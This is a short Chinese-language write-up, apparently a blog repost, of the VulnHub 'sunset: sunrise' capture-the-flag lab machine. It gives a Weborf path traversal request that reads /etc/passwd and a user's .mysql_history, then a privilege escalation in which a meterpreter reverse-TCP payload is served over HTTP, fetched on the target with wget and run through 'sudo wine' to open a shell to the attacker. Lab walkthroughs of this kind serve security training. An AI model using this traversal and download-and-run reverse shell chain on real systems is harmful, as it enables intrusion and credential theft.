靶機鏈接:
https://www.vulnhub.com/entry/sunset-sunrise,406/
主機掃描:

埠掃描:

HTTP 80 目錄列舉未果
HTTP 8080

Google search :Weborf/0.12.2 exploit
https://www.exploit-db.com/exploits/14925
Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

成功讀取檔案,然后我們嘗試讀取一些敏感的目錄和檔案,最后讀取MySQL的密碼:
http://10.10.203.22:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f.mysql_history

嘗試使用賬戶登錄系統

如何獲取用戶sunsire的權限,最后通過MySQL的用戶資訊獲取到了密碼

接下來進行提權操作
這里使用wine命令
控制端生成payload
msfpc windows 10.10.203.14

python -m SimpleHTTPServer 8888

use exploit/multi/handler
set encoder x86/shikata_ga_nai
set lhost 10.10.203.14
set lport 443
exploit -j
靶機上執行:
wget http://10.10.203.14:8888/windows-meterpreter-staged-reverse-tcp-443.exe
sudo wine windows-meterpreter-staged-reverse-tcp-443.exe
然后控制端就shell上線了


OVER!!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/5387.html
標籤:訊息安全
上一篇:Girlfreind:1 Vulnhub Walkthrough
下一篇:避免XSS攻擊
